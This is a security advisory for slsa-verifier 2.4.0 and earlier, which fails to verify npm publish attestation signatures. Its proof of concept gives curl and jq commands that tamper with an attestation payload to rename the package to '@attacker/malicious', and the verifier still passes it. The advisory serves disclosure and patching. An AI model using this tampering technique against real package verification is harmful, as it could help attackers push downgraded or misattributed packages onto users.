GHSA-r2xv-vpr2-42m9: slsa-verifier vulnerable to mproper validation of npm's publish attestations

Summary

slsa-verifier<=2.4.0 does not correctly verify npm’s publish attestations signature.

Proof of concept

Steps to reproduce:

1. curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r ‘.dist.attestations.url’)
2. curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r ‘.dist.tarball’)"
3. In attestations.json, take the value addressed by the jq selector .attestations[0].bundle.dsseEnvelope.payload, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as attestations_tampered.json.
   Here is an example command to replace the package name with @attacker/malicious:
   jq -r ".attestations[0].bundle.dsseEnvelope.payload = "$(jq -r ‘.attestations[0].bundle.dsseEnvelope.payload | @base64d’ < attestations.json | jq ‘.subject[0].name = "pkg:npm/%40attacker/malicious"’ | base64 -w0)“” < attestations.json > attestations_tampered.json
4. SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id “https://github.com/actions/runner/github-hosted” --package-name “@trishankatdatadog/supreme-goggles” --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles
5. The result is that slsa-verifier fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns PASSED.

Impact

An attacker who controls what packages and attestations are shown to a user can associate a package with an arbitrary name and version that do not match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need not match its counterpart in the provenance attestation. However, the attacker cannot associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.

Severity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental.

Patches

PR #705 should fix this issue which, in turn, should not exist in >2.4.0.

Workarounds

There is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm’s publish attestations themselves, and cross-verifying it against GHA’s provenance attestations.

References

• Original OpenSSF Slack thread

References

• GHSA-r2xv-vpr2-42m9
• slsa-framework/slsa-verifier#705
• slsa-framework/slsa-verifier@f6ae402
• https://github.com/npm/attestation/tree/main/specs/publish/v0.1
• https://openssf.slack.com/archives/C03PDLFET5W/p1695330038983179